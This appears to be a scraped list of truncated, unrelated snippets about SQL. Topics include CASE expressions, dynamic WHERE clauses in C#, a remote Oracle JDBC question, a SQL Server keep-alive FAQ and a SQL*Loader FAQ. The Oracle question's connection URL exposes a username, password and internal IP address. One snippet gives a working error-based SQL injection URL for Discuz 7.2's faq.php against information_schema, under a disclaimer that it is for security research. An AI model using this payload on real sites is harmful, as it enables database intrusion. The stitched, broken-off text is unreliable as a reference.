1.查询结果根据条件翻译成其他值 then '及格' else '不及格' end from S_STUDENT then '及格' else '不及格' end from S_STUDENT 2.sql 动态组合查询条件 where 1=1 效率 一般不会影响效率,会自动优化 当然也可替换: bool hasWhere = false; StringBuilder strSql = new StringBuilder(); strSql.Append("select * FROM dt_use…
requirement : connecting to remote oracle server . now I know the connectionURL :connectionUrl :jdbc:oracle:thin:LUXPRODUCTION/LUXPRODUCTION@//10.8.0.50:1521/PLM16D I don't have to install oracle server in local environment. I need to install plsql…
转载:http://blogs.msdn.com/b/apgcdsd/archive/2012/06/07/sql-server-connection-keep-alive-faq-3.aspx 这个是SQL Server Keep Alive FAQ文章的最后一篇. :为什么我在客户端设置了KeepAlive值,但是我使用SQL server management studio 测试的时候,该值总是不起作用? [答]目前市场上主流的数据库访问技术有ODBC,OLEDB,SQL native c…
测试方法: 提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Discuz 7.2 /faq.php SQL注入漏洞 http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tab…
SQL*Loader FAQ: Contents [hide] 1 What is SQL*Loader and what is it used for? 2 How does one use the SQL*Loader utility? 3 How does one load MS-Excel data into Oracle? 4 Is there a SQL*Unloader to download data to a flat file? 5 Can one load variabl…